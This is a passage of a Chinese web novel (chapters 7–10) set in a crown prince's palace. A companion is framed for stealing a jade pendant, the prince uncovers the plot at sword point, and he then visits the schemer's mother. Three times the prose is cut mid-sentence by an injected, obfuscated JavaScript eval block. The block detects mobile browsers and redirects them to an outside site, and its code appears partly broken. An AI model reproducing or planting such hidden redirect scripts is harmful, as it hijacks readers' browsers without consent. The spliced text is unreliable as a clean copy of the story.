负责放饭菜的小太监,在端上最后一份食案时如此说道。 方邵元与宁为远互相对视了一眼。 宁为远问道:“哪位杨公公?” 小太监好似正在等这一问,立刻接道:“就是咱们东宫里负责广阳殿的一等公公,杨秋公公。” 方邵元接过话道:“原来如此,明白了,劳烦替我们带个话,就说多谢杨公公赠菜。对了,这里不用留人伺候,若是菜已经上完了,你们便下去吧。” “是。” 几位侍候的太监拱手告退。 “奇怪了,能够负责广阳殿,那就是太子殿下身边最说得上话的太监,这种身份根本犯不着讨好我们。按照常理,该是我们去讨好他才是。” 方邵元门关上以后道。 隋明朗犹豫了下,问:“殿下身边的公公也有如此地位吗?” 方邵元道:“那是自然。如今殿下还是储君,若是那位公公一直侍候到殿下登基,届时莫说咱们,便是当朝一品官,见了他也要客客气气的,不到万不得已,不敢得罪。” 隋明朗似懂非懂地点头。 他对父亲所说的“伴君如伴虎”的认识又上了一层楼。 宁为远猜测道:“或许那位杨公公只是做事周全,给每位伴读都赠了菜。又或许,他在宫外有什么事情有求于我们?” 方邵元道:“不管怎样,他对咱们释放善意,咱们接下,表示感谢便是。至于其他的,慢慢再看。” 这些个在皇宫里伺候的太监宫女,富有心机谋算的不在少数。初至东宫,对东宫里的情形还不清楚,以静制动才是上上之策。 宁为远道:“是这个道理。” 三位伴读边吃边聊、关系渐近之时,东宫中苑的另一处。 静谧的凉亭内,伴读李承奇正坐在石桌面前,他手执一支精美的狼毫笔,时而做思考状,时而奋笔疾书,好不认真。 “原来李公子在这儿。” 一个中年人的声音悠悠传来。 李承奇从书本里抬起头,见到来人之后,他隐约感到眼熟,思索数秒,骤然想起,这是跟随安弘毅入宫的奴才。 李承奇望着对方慢慢朝自己走来,心里有种不太好的预感。 他问:“是安公子命你来的?” 对方微笑着站在了李承奇的面前。 “不错。” “公子希望您帮忙做一件事。” 李承奇微微一怔,停顿片刻,道:“安公子是想让我去对付隋明朗吗?” 安弘毅的奴才笑道:“早就听闻中远伯之子聪慧过人,今日一见,果然如此。像隋明朗这样出身的人,根本不配待在东宫读书。若在别的地方,我们公子自然有一百种法子将他赶走,只是,这里是东宫,想赶他走,就得按规矩来,便不得不请李公子出手相助了。” 李承奇垂眸道:“我只想专心读书,早日科举入仕以报父母生养之恩,怕是要令安公子失望了。今日之事,我不会同任何人说,请回吧。” “李公子此言差矣!报父母生养之恩,又岂止科举一条路?” “中远伯这一脉已经很久没有出过人物了,到李公子这一辈,若再碌碌无为,只怕要有降爵的危险。中远伯动用最后的人脉,把李公子安排到丞相草拟的伴读人选中,我想,中远伯之所以这么做,就是希望您入宫之后能够得到贵人的青睐,这个贵人,可不只有太子殿下。李公子若是一味将希望寄托于科举,便是辜负了中远伯大人的谋算。” 这样的话从一个奴才的嘴里说出来,实乃不敬,李承奇完全能够凭这句话处置对方,然而,此人代表的是安弘毅,背后更站着郡主娘娘与安国公。 何况,入宫前,父亲确确实实这么嘱咐过他:努力读书固然重要,经营关系同样要紧。东宫不仅有太子殿下,还有先生和其他伴读,他们不仅有深厚的家世,也极有可能获得殿下的青睐。 尽管父亲这么嘱咐了,可李承奇自知并不擅于此道,还是将心思都放在了功课上。 如今,清平郡主之子主动找了过来。 结交安弘毅,或是得罪安弘毅,似乎只在一念之间。 沉默片刻,李承奇站起身来。 “东宫乃是太子殿下的东宫,殿下眼里是揉不得沙子的,想要陷害别人,恐怕只会引火烧身。我并非想得罪安公子,只是,实在是有心无力,还望安公子见谅。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103268|163822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一不想掺和进这种事,二不愿去伤害无辜之人。即便会使安弘毅不高兴,也只能这么做。 对方却是悠悠道:“李公子先别急着回答。你若是肯相助,便能得一份人情,这可是整个安国公府的人情,郡主娘娘也会记得。若是不肯……” 他又往前走了几步,附在李承奇的耳边,低声道:“贵妃娘娘近日正从在京城的贵女中选人送往南蛮和亲,听闻中远伯的嫡女已经年满十五,若是郡主娘娘将其收为义女,令她去往南蛮之地,这大约也算是中远伯府的荣耀吧?” 李承奇瞳孔猛地一缩。 他双拳攥起,瞪向眼前这个人。 后者嘴角勾起,后退半步,笑道:“你知道的,这对咱们郡主娘娘不过是小事一桩。” 是的,清平郡主深受太后宠爱,只要开口,负责此事的贵妃没道理不卖郡主一个人情。在这京城之中,没落的府邸,注定只能成为案板上的鱼肉。 李承奇沉默间,对面的人不客气道:“李公子快些决断吧!我们公子可还等着你的回应呢!” 区区一个奴才,竟然如此跋扈,李承奇此刻只恨不得冲着对方的鼻子重锤一拳。然而,想到对方刚才的那番话,他沉默片刻,最终缓缓地沉了沉下巴。 对面的奴才得意地勾起嘴角:“那么,奴才便替我家公子静候李公子的佳音了。” 午膳后。 隋明朗正在房中完成先生留下的作业,一个眼生的公公推门而入。 “隋公子,李公子有事想与您商量,请您前往他的房中一聚。” 李公子?李承奇? 入东宫以来,自己和李承奇还没说过话,对方会有什么事情要商议呢? “好,我这就过去。” 隋明朗搁下笔,起身出门。 前来传话的太监已经离开了。 好在伴读们都算住在一处,并不难找,他便一个人往李承奇的房间去。 “嗯?” 来到李承奇的房前,隋明朗发现周围一个人都没有。 在此地值守的太监呢? 等等,刚才出来时,侍候在自己房前的太监也是不见人影。 这么巧吗? 隋明朗敲了敲房门。 “李兄,你在吗?” 无人回应。 隋明朗觉得更奇怪了:明明是对方邀请自己过来的,房中怎会无人回应? 正要推门而入,想到东宫中还有安弘毅这么个记恨自己的贵族子弟,隋明朗原地思考片刻,心中有了新的决断。 翌日,隋明朗起得更早了些,这次,他是第一个到的学堂。 他将写好的作业放到先生的书案上。 紧随其后的是方邵元。 他冲隋明朗笑了一下,将自己的作业盖到隋明朗作业的上方。 第三个到的是李承奇。 走进学堂时,他不再像上次那样冲隋明朗打招呼,而是刻意避开眼神,仿佛隋明朗这儿有什么不能看的东西似的。 见状,虽然还不能完全确定,但隋明朗感觉自己心中的某些猜想得到了验证,他垂下眸,继续读书。 李承奇将自己的作业盖上去。 其余几个伴读也陆陆续续到来,每个人都继续将自己的作业往上盖。 最后,先生赶到。 “嗯,满满当当,不错,诸位小友都写得很认真哪。” “嗯?太子殿下的呢?” 老先生的目光落在顾温身上。 顾温淡淡道:“没写。” 老先生皱了皱眉,道:“望殿下尽快补上,若是明早还看不到殿下的习作,老夫便少不得要去圣上面前唠叨一番了。” 随即又道:“请诸位小友温习昨日的功课,待我先批阅诸位的作业。” 众人开始读书。 直到将所有人的作业批阅完毕,老先生出声道:“我来宣布一下昨日作业的完成情况。” “安弘毅,乙下。” “崔嘉瑞,乙等。” “宁为远,乙等。” “方邵元,乙上。” “李承奇,甲下。” “隋明朗,甲下。” “写得最好的当属隋明朗与李承奇。” 尚承德老先生依次将作业发回给众人,每份作业的末端还有一份点评,最后发给隋明朗时,他道:“隋明朗,将你写的《我观君子》给大家念一下吧。” 隋明朗一怔。 尚老先生给他一个鼓励的眼神。 隋明朗迟疑,心道此事恐怕已成定局,终于捧着作业站起身来。 老先生又道:“坐着念便好。” 隋明朗于是又坐下,朗朗出声。 “古之君子,其德如兰,其行似竹,其志若松。君子者,以仁为本,以义为质,以礼为行,以智为用,以信为守。仁,乃君子之根本。仁者,爱人也。心怀慈爱,悲悯苍生,见他人之困厄,不吝援手。推己及人,以爱己之心爱人,此乃仁之至也。义,乃君子之特质。义者,宜也。行事合宜,坚守正道,不为私利所动,不为权势所屈。若其相冲,舍利而取义,此乃义之至也。礼,乃君子之准则。礼者,序也。言行举止,皆有规范,恭敬谦逊,不骄不躁。对长者尊,对幼者慈,对友者诚,此乃礼之至也。智,乃君子之利器。智者,知也。博学多闻,洞察世事,明辨是非,善决疑难。不为一时浮云所惑,不为一时困顿所梏,此乃智之至也。信,乃君子之坚守。信者,诚也。言出必行,一诺千金。不欺人,不自欺,与人交往,坚守承诺,以信立身,此乃信之至也。今之人,当以古之君子为范,修身立德,践行仁义礼智信。” 隋明朗诵读的同时,先生捋着胡须,用赞许的目光看着他。 安弘毅看见这一幕,心中冷笑:且令你再得意片刻。 得意过后,便是深渊。 “隋明朗,继续用功,假以时日,当会有所成就。” “李承奇,你的文章也相当不错。时间关系,这次便不读了。” “下面开始今日的课程。” 尚老先生的课极为精彩,一上午的时间不知不觉便过去了。 隋明朗得了尚老先生的称赞,心情自是愉悦,课也听得格外认真。 “课上到这里。” “内容比较多,今日便不留作业了,你们课后须好好温习,明日我会点人来作答今日所学。” “是,先生。” 伴读们齐声说道。 尚承德负手离去,顾温刚起身,李承奇往前一步,开口道:“太子殿下,请留步。” 顾温顿了一下,转身回头。 属于鹰隼般的、上位者的眼神,令李承奇本能打了个寒颤。他迟疑了一瞬,还是扑通跪下,硬着头皮抱拳道:“殿下,臣要状告隋明朗偷盗,望殿下替臣做主。” 安弘毅勾起嘴角。 8. 第 8 章 顾温朝后方的隋明朗瞧了一眼。 他走到先生的座位坐下,俯瞰下方:“你可知,诬告他人是什么罪?” 李承奇定了定心神,抱拳道:“诬告与偷盗罪刑一致,杖责五十,赶出宫去,臣不敢如此。若是旁的物什倒罢了,臣所失玉佩乃已逝祖母所赠,实在不敢遗失。” “你说别人偷了你的玉佩,有何证据?” 李承奇缓缓道:“臣有两名证人,乃东宫中苑的太监,他们亲眼见到隋明朗昨日在臣房门前鬼鬼祟祟,殿下可召此二人问话。他们都是东宫中人,必不敢欺瞒殿下。” 顾温一脸漫不经心:“传。” 两个太监早就提前在外面候着了。 他们匍匐在地,将所见之景一五一十地说了出来。 顾温望向隋明朗。 “你如何说?” 隋明朗屈膝跪地,抱拳道:“回殿下,臣昨日下午的确去过李承奇的房前,只因当时有一名太监过来告诉我,说李承奇有事要与我商量,邀我前去。” 话音刚落,李承奇道:“并无此事。” 他冲上方的顾温抱拳:“殿下,我从未与隋明朗说过话,岂会有事与他商量?何况,昨日下午,我一直都在凉亭中读书写字,许多宫人皆可作证。” 方邵元沉吟道:“或许是某个宫人从中作梗呢?这只是误会一场。” 安弘毅悠悠道:“是不是误会,只要找到那个宫人问问不就好了?” 迟疑片刻,李承奇看向隋明朗:“既然你说是有一个太监假借我的名义将你带过去,哪个太监,长什么样子,总该记得。把他指认出来,一审便知!” 隋明朗道:“他当时低着头,且说完就先我一步离开,我并未看清他的模样。” 安弘毅嗤笑一声:“这种事……” 也能忘了四个字还没质问出口,身后,他的奴才轻轻咳嗽,提醒了一声。 公子,别那么明显啊。 安弘毅改口道:“这种事双方各执一词,也解决不了问题。太子哥哥,我有个想法:横竖伴读们出不了宫,偷了东西也没地方可藏,只要搜一下隋明朗的房间,是诬告还是偷盗,自然就清楚了。” 隋明朗看着李承奇:“李公子,我与你并无恩怨,你为何要陷害我?莫非是受了谁的逼迫?” 李承奇身体一滞,顿了顿道:“我只是祖传的玉佩被人偷了,想要找回罢了。安公子说的不错,只要搜宫,便可知究竟是我诬告了你,还是你盗了我的玉佩。” 顾温将安弘毅与李承奇二人轻轻扫了一遍,最后落在隋明朗身上。 “你可同意搜宫?” 隋明朗抱拳道:“回殿下,臣问心无愧。” 顾温观察他片刻,随即招来一名太监:“杨秋,你带人去搜查,看看究竟有没有那块玉佩。” 杨公公垂首应下,带着两名太监离去。 众人在原地只等待了几分钟,杨公公便双手捧着一枚翠绿色的玉佩小跑着过来,呈到太子的眼前。 “殿下,这是在隋明朗房中找到的玉佩,藏于铜镜之后。” 李承奇道:“这就是臣的玉佩。殿下可命人查阅记录,臣入宫时便佩戴着它。” 顾温抬眼瞧了一下玉佩,看着隋明朗道:“现在人证物证都有了,你若是拿不出什么东西来,便要担上偷盗之名了。” 安弘毅勾起嘴角。 终于能将这个卑贱的人逐出宫去了。 不,仅仅逐出宫还便宜了他。 离了宫,隋明朗便只是个六品小官的儿子,到时候自己有一百种法子羞辱他,好好回敬一下自己先前蒙受的棍刑之耻。 李承奇心中却升起一股不详之感。 他隐隐觉得,太子殿下在刻意给予隋明朗机会,若真是如此,要么,殿下并不相信偷盗一事,要么,殿下心中偏袒隋明朗。 无论是哪种,局面都会变得不利。 希望是自己的错觉吧! 隋明朗冲上方抱了抱拳,随即指向先前两个出来作证的太监,恭敬道:“殿下,臣想询问他们二人几句话。” 顾温道:“问吧。” 隋明朗温声道:“我相信两位公公忠于殿下,故而想问一句,公公可记得是什么时候看见我的?我又是往何处去的?” 一名太监道:“这个自然记得。当时奴才们要去南苑送殿下晚膳所需的食材,这才路过中苑,食材向来都是未时六刻送过去。” 另一名太监则道:“是往西面的方向去。” “我要问的已经问完了。” 隋明朗神色恭敬地冲上方抱拳:“殿下,臣住在李承奇的东面,我们二人中间还隔了一个院子,臣若是自西往东复返,必定会有宫人瞧见。” 顾温看了他一眼。 仅仅如此么? 这时,方邵元主动上前,拱手道:“殿下,李公子,昨日明朗未时六刻刚过便到了臣这里。殿下可传唤臣房门前侍候的小太监,可以作证。” 李承奇心里咯噔一下。 怎么把方邵元也牵扯进来了? 方邵元的父亲手握重兵,他的姨母更是宫中宠妃,仅次于贵妃之下,绝不是一个中远伯府能得罪起的。 但,事已至此,他必须争辩下去:“方公子,我并非不信你,只是,隋明朗大可以将玉佩藏匿在衣服里,然后去拜访你,诓你为他作证,之后再返回自己的房中,将玉佩藏起来。” 宁为远道:“偷了别人的东西,不立刻藏好,反而大摇大摆地去别人的地方,这种事恐怕不是一般人能做到的。” 李承奇驳道:“敢在宫里犯下偷盗之罪,本就不是一般人。” 方邵元笑道:“若他昨日并未离去呢?” 李承奇整个人一愣。 并、并未离去? 顾温冷不防道:“你的意思说,他昨夜是在你房中就寝的?” 方邵元敏锐地察觉到了这声质问里的不悦,飞快地思索其中有何不妥。 隋明朗没留意这个,一五一十地道:“回殿下,昨日臣走到李公子房前,见门前没有侍候的太监,且唤臣过来的太监也行迹可疑,便生了警惕之心。臣向方兄说了这些,方兄便邀臣在他房中住下,直到今日来上早课,臣都没有回过房间。” 一股寒意自背后升起,袭遍了李承奇的全身。 如果隋明朗昨日拜访自己过后都没有回房,那藏在他房间里的玉佩岂不只能是—— 李承奇艰难道:“你说自己昨晚未回房,难不成两个男人挤在一张小床上?” 隋明朗道:“我在方兄房里打了地铺。” “谁允许你们住在一起的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103269|163822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾温声音不冷不热地道。 隋明朗一怔。 安弘毅原本已经见势不妙,开始思考怎么才能不受牵连,见状又振作精神道:“宫中最忌私相授受,结党营私,夜里有房不回,共居一室,已经触犯了宫规!” 方邵元屈膝跪地道:“臣知罪!只是此事实在事出有因,还望殿下从轻发落。” 隋明朗恳求道:“殿下,方兄是为臣着想才会犯此宫规,请殿下只怪罪臣一人。” 上一秒,隋明朗还以为这会是很大的过错,不知要受到什么样的惩罚,整个人感到忐忑不安。下一秒,他便听到太子殿下这样说道—— “只此一次,下不为例。” 隋明朗忙道:“谢殿下宽宏!” 方邵元也将身体躬得更深了些。 “你们二人起来吧。” “至于你——” 顾温的视线落到了李承奇的身上,眯了眯眼。 “我的剑。” 顾温对身旁的太监说道。 杨公公拱手说一声是,转身退了出去,随即招来一名太监小跑着去拿剑。 李承奇眼前发懵。 他早就听说过太子殿下曾经杀死过好几名宫人,拿剑,难不成是要杀了自己吗? 剑很快就送了过来,杨公公双手捧至太子殿下的面前。 刷地一声,长剑出鞘。 顾温剑指李承奇:“欺君乃是重罪,孤问你,你的玉佩是怎么回事?” 李承奇整个人一哆嗦。 事已至此,且此事本就是自己在陷害,他以头抢地道:“回、回殿下,是、是、是臣诬告了隋明朗!” 顾温并未收剑。 “若欲只有诬告之罪,便要交代清楚——你为何要诬告他?有没有人指使?” 李承奇狠狠咬着嘴唇,说不出话。 招了?姐姐怎么办?不招?自己说不定真的会被殿下一剑杀了的。 左右两难,无法抉择。 顾温冷冷道:“孤有心留你一命,你倒是不惜命。那孤便先杀了你,再去处置中远伯府。” “是安——” “殿下,是奴才指使他这么做的!” 眼看李承奇扛不住了,安弘毅的奴才主动跪下:“殿下,前几日,奴才见我家公子居然因着隋明朗这个卑贱的人受辱,实在看不下去,故而想出了这个主意,想要收拾隋明朗,为我家公子出一口恶气。” 顾温冷冷地一勾嘴角:“李承奇,是这样么?” 李承奇松了一口气。 他如实道:“回殿下,昨日确实是这个奴才主动找到臣,要臣做诬告之事。” 顾温嗤地一笑。 他提剑往前走了两步,瞧着跪在地上的这个人,神色冷峻,好似在看一个死人:“你是说,诬告之事与你家公子无关,是你一个人指使的?” “是的,都是——” 对方还没把话说完,顾温手腕一转,白色的剑刃进,红色的剑刃出。 鲜血飞溅而出! 安弘毅瞪大眼睛,他看着伺候自己长大、又跟随自己入宫的奴才,就这么身体笔直地倒了下去。 下一秒,剑尖抵至他的颈前。 “孤只问一遍,若有欺瞒,此人便是你的下场。” “你,有没有参与?” 9. 第 9 章 安弘毅满脸恐惧。 “太子哥哥,我母亲……” 锋利的剑锋刺破了安弘毅的皮肤,痛得几乎快要令他叫出声来。 安弘毅吓得魂飞魄散,再不敢有半点隐瞒:“是我!太子哥哥,我只是觉得隋明朗不配待在东宫读书,并非有意想欺骗你的,太子哥哥饶了我这一回吧!我保证再也不敢了!” 顾温往右一甩,出鞘的剑精准地落回太监手捧着的剑鞘。 “拖出去,杖五十,逐出东宫。” “太子哥哥!太子哥哥……” 安弘毅求饶的声音逐渐远去。 “至于你。” 顾温目光淡漠地看着下方的人。 李承奇重重地磕头。 “太子殿下,您如何惩罚臣都行,只求殿下不要把臣赶出宫。” 冒着被杀的风险,他不得不这么做。 中远伯府本就已经没落,若是自己戴罪被逐出宫,就算日后中了科举,在官场上也不会有任何前途。 李承奇的额头两三下便磕出了血。 隋明朗感到了不忍。 他看得出来,此人陷害自己,纯粹是因为安弘毅的逼迫。 想到这里,隋明朗心中甚至生出几分同病相怜——李承奇的座位是倒数第二个。安弘毅之所以选择逼迫李承奇诬陷自己,不也是因为觉得他好欺负吗? 安弘毅如今被赶出了宫,没办法对自己下手之后,会不会找隋府的不痛快? 自己根本没做什么,无缘无故就招惹到了对方。 如今这个局面,安弘毅受到了惩罚不错,可自己也没有获得任何好处,反而给家中带来了危机,真是倒霉透顶。 听说李承奇是中远伯唯一的儿子,中远伯府又在走向衰落……在这次的事件里,李承奇大约也和自己一样,是个不折不扣的倒霉人吧。 “殿下——” 顾温瞧了他一眼,道:“李承奇陷害你,莫非你还想替他求情不成?” 隋明朗道:“殿下明见。他受人逼迫,不得已而为之。臣出身卑微,更能体会此种心境,故而斗胆为他说一句话:臣听闻古时有秦将孟明视,败于秦晋之战,后亦功于秦晋之战。” 顾温挑了挑眉:“你的意思是,连处罚也不必了?” 隋明朗没有说话,而是将头垂得更低了些。 “罢了,既然你这个被诬陷的人都不想追究,孤又何必当个恶人。” 顾温冷冷地扫了眼匍匐于地的人。 “这次便饶了你,安分守己,勿要再生事端,否则新罪旧罪一并清算。” 李承奇颤着声音高呼:“谢殿下!” 太子殿下离去,周围压抑的空气终于得到释放,书房里的所有人都舒了一口气。 李承奇仍旧哆嗦着身体,缓了一缓,他才抹了把眼角,抬头望向隋明朗:“我受安弘毅之命诬陷于你,你却为我求情。常言道,大恩不言谢,请先受我一拜。” 隋明朗忙道:“没关系的。” 面对这样的李承奇,他也不知道该怎么应对。在家里的时候,可没有人这么对待过他。 方邵元上前解围,笑着道:“够啦够啦,李兄,日后咱们还要一起陪殿下读书,你想感谢明朗,机会还多得是,快起来吧。” 宁为远也道:“是的。你看,你这样,反而搞得他难为情了。” 方邵元和宁为远一起去拉,才将李承奇从地上拉了起来。 四人一起用了午膳。 方邵元原本还邀请了崔嘉瑞,只是后者独来独往惯了,以食欲不振为由婉拒。 “今日经历了这么刺激的一遭,也算不闹不相识!安弘毅那小子确实是跋扈惯了,以后没了他,大家也能过得舒心些。来,都尝尝我从家中带来的桃花酒吧!” 方邵元从小厮手中将酒壶拿过来,就要给众人满上。 宁为远劝道:“东宫之中饮酒恐怕不妥。再说明日还要上课,若是醉了……” “桃花酒是喝不醉人的。” 方邵元给每人都倒了一满杯。 隋明朗看着酒杯面露犹豫。 他其实还没喝过酒。 有点想尝试,毕竟,喝酒这件事是早晚需要学会的。 但宁为远的话也有道理。 “第一次喝也不会醉吗?” 隋明朗问道。 “是的,第一次喝也不会醉。” 方邵元奇道:“你没喝过酒?你父亲也是朝廷命官,怎会没让你喝酒呢?” 隋明朗听说过,入朝为官,喝酒应酬是必需之物。但…… “没喝过就更要尝尝了!” 方邵元道。 隋明朗端起酒杯,小心地抿了一口。 方邵元问:“感觉怎么样?” 隋明朗道:“有点甜,还有点辣,总体来说感觉挺不错。” 方邵元哈哈一笑:“完了完了,第一次喝酒你就觉得不错,以后估计要嗜酒如命。” 隋明朗笑了一下:“我不信。” 他才不可能那么颓废。 宁为远一边饮着一边感慨道:“桃花酒真是不错,为什么酒宴上从来不喝桃花酒呢?” 方邵元摇头:“这我就不知道了。” 李承奇小声道:“听说是因为当年圣德帝喝了桃花酒全身起疹子,自那以后,咱们大衍朝就只有私底下才喝这种酒了。” “原来是这么回事。” 方邵元笑道:“李兄真是博学多闻。” 李承奇忙道:“没有没有,我也是之前听父亲提过一次。” 这顿午膳吃得格外久。 上午的那些不愉快,随着几盏桃花酒,几碟小菜入肚,渐渐被伴读们遗忘于脑后。 午膳后,隋明朗小睡了一会儿,开始温习上午的功课。 于他而言,一整个下午的时间,足以将先生讲授的知识牢牢印在脑海中。 不过,到了晚上,隋明朗失眠了。 今天发生的事情实在太多。 先是尚老先生的夸奖,再是安弘毅诬陷不成反被逐出宫,最后自己和其他伴读一起喝酒,关系随之变得亲近。 若说这几件事令隋明朗有八分愉悦,那么想到另外一件事,他便感到十分担忧了——安弘毅被太监拖出去时,瞪向自己的眼神充满了愤恨。 这样的一个人,被逐出宫去以后,一定不会就此罢休的吧?他会选择对宫外的隋府出手吗? 眼下安弘毅刚受了罚,应当会安静一段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103270|163822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时日,可之后呢? 皇城天子脚下,清平郡主和安国公会为了给他们的儿子出气,就无缘无故对一个朝廷命官及其家人出手吗? 不知道。 万一呢? 即使他们拥有理智,不会这么做,身为郡主之子,安弘毅本人有没有能力令隋府遭难? 也不知道。 隋明朗越想越揪心。 事已至此,自己能做什么补救呢? 请方邵元他们帮帮忙? 一则,他们的家世比起安弘毅来说也差了许多。二则,和自己交好是一回事,敢与郡主娘娘作对绝对是另一回事。三则,即使他们愿意,他们的父母恐怕也不可能同意。 去乞求太子殿下照拂? 他们是高高在上的郡主与国公爷,自己无端地去怀疑,还因为这种怀疑恳求太子殿下庇护,任谁听了都会感到荒唐吧! 殿下给了自己入宫伴读的机会,早就还清了那日的情分,凭什么再帮自己呢? 越想越睡不着,隋明朗干脆穿衣起床,出去走走,思索有没有什么应对之策。 门口侍候的太监已经倚着墙柱睡着了,隋明朗放轻脚步,往外走去。 前方不时能看到巡查的宫人。 郭公公说过,皇宫入夜以后是不能随便走动的,被发现了会受到严格的审查。不过,圣上考虑到伴读们年纪尚小,又刚离家,特允伴读们不必遵守这一规矩,只要不走出东宫,不进入太子居住的南苑即可。 当然,夜里独自出来散步,被人看见难免会有议论。因此,隋明朗朝着花园方向走去。 今夜月光很亮,花园中没有灯笼,也能看得清脚下的路。 走着走着,也不知是走到哪里了,他听见空气中传来清脆的飒飒之声。 这是……挥剑的声音吗? 这大晚上的,居然有人在练剑?而且是在花园里练剑? “谁在那儿?” 一声冷冽的质问,隋明朗还没反应过来,长剑已经抵至他的眉间。 隋明朗瞪大眼睛,连呼吸都屏住了。 “是你。” 顾温语气不善地收了剑:“夜里不好好待在房间里睡觉,跑到这里做什么?” 隋明朗忙道:“回殿下,臣有些睡不着,便出来走走。” 说罢,他大着胆子,悄悄瞧前方那个高了自己一头的身影望了眼。 对方神色疏离,如同那夜空中的孤月,皎洁而不可亲近,就连目光之中,亦有霜雪之意。 隋明朗连忙又垂下了头。 顾温望着面前之人,略微感到疑惑:“我以为,今日你当心情愉悦。” 隋明朗愣了愣。 是啊,在别人眼中,自己今天得了先生的夸奖,针锋相对的人也被赶出了东宫,确实有欢喜的理由。 然而…… 顾温又道:“有何心事?说说看。” 隋明朗刚想摇头,便听到耳边传来这样的声音—— “你最好想清楚再回答。” “若有隐瞒,便是欺君。” 隋明朗登时想起白日里发生的事情——犯下欺君之罪可是很恐怖的。 迟疑片刻,他一五一十地将内心的担忧都说了出来。 10. 第 10 章 隋明朗再次偷偷瞧了眼太子殿下。 只可惜,对方眼眸幽深,就仿佛是古井里的水,他根本无法从这双眼睛里窥见任何情绪。 “我明日会去安国公府走一趟。” “回去吧。” 顾温淡淡地说道。 隋明朗不敢相信地瞪大眼。 “殿、殿下——” 对方没再理会他,提着剑,走向黑夜深处。 不知为何,或许是因为月光的缘故,隋明朗从这个背影中感到了几分落寞。 此刻的太子殿下,似乎与白日里尊贵威严的殿下不同。 谢谢你,殿下。 隋明朗望着那个背影说道。 得了太子殿下的允诺,隋明朗心中所有的担忧都消失了,回去之后,很快就进入了梦乡。 他梦见,郡主娘娘及国公因为东宫之故不敢寻隋府的麻烦,自己与其他伴读和睦相处,深得太子殿下信赖,为母亲与隋府带来荣耀。 果真是个很好的梦。 翌日。 恰逢清平郡主三十之寿,安国公府筹备的寿宴无比盛大,几乎满京城的贵人都前来此地,给郡主祝寿。 前院的男人们围着安国公讨论政事。 后院的女人们则聚在郡主身边。 清平郡主轻轻摇着扇子道:“原想着送去东宫陪太子殿下读书,我家小儿竟是没有这个福气,刚进去就生了病,我便将他接了回来,免得将病气过给太子殿下。” 说着,她叹一口气:“这孩子从小被我和他父亲娇养惯了,得放在家里多养两年,才好再送进宫里。” 有贵妇人笑着道:“对旁人,东宫伴读自是了不起的机缘。可对郡主您来说,有或没有,圣上和太子殿下,都会眷顾安国公府的。” “是啊,安小公子年纪尚小,娇养些也是应的。小公子聪明伶俐,日后必定有好前程。” …… 聆听着周围种种恭维,清平郡主嘴角微扬。是的,从来如此。 至于毅儿,虽一时见怪于太子,想来只要在府中安静一段时日,过了这段风头,事情也就过去了。 清平郡主笑道:“只希望我那不成器的儿子,不要因为此事,在太子殿下心里留下什么不快。” 一边说着,她一边给自己斟了杯酒,起身道:“今日是我三十寿宴,便不说这些了。诸位远道来此,为我祝寿,我不胜欢喜。这杯中酒满,恰似我对诸位情谊之盛。来,与诸位共饮此杯,愿情谊永存,福寿安康!” 桌边众人一齐起身,举杯共祝。 觥筹交错之际,国公府内一个丫鬟迈着小碎步飞奔而来,在满院的注视下,她附到清平郡主的耳边,低声道:“郡主,太子殿下到了。” 清平郡主眉梢微动。 昨天毅儿被杖了刑送回府,她自然细细问了情况。 毅儿终归是年纪太小,须知,他的身份再贵重,君威也是触碰不得的。至于那个姓隋的小子,若是看不惯,自有一百种方法收拾他和他的家人,又何必亲自蹚浑水,惹太子殿下不快? 清平郡主目视着满院的宾客,美目含笑:待风头过了,随便在这之中找个人,暗示一下,对方就会为了讨好她,迫不及待地除去隋府。 在这贵胄云集的京城里,一个六品小官,实在不起眼。 只是,太子今日到访,究竟是为贺寿、是为解释昨日之事,还是为责难而来? 她不确定。 太子自幼早慧,然而,自先皇后薨逝,他的性情便越来越古怪了,令人捉摸不透。偏偏皇兄又对这位唯一的嫡出皇子宠爱有加,东宫之位稳固万分。 “太子到——” “太子到——” “太子到——” 嘹亮的声音同时传到前院与后院,清平郡主与安国公各自率领所有的访客,到府门处迎接。 “拜见太子殿下。” 顾温俯瞰着匍匐一地的人,淡淡道:“孤今日来此,是为郡主贺寿,诸位不必多礼,都起来吧。” 众人道:“谢殿下。” 顾温瞧向对面人群中央的某位,似笑非笑:“今日来得匆忙,没有准备寿礼,望郡主见谅。” 清平郡主展露笑容,快步迎候上前:“殿下能记得我的寿日,这已是最好的寿礼了。” 安国公也跟着迎上前。 顾温在他们二人及一众太监侍卫的簇拥下往里走,走了几步,顾温脚步微顿,回头对其他宾客道:“你们不必拘束,继续饮宴便是。” 众人拱手:“是。” 清平郡主朝自己的心腹比了个手势,国公府们的下人立刻带着男女宾客分别前往前院后院,寿宴继续。 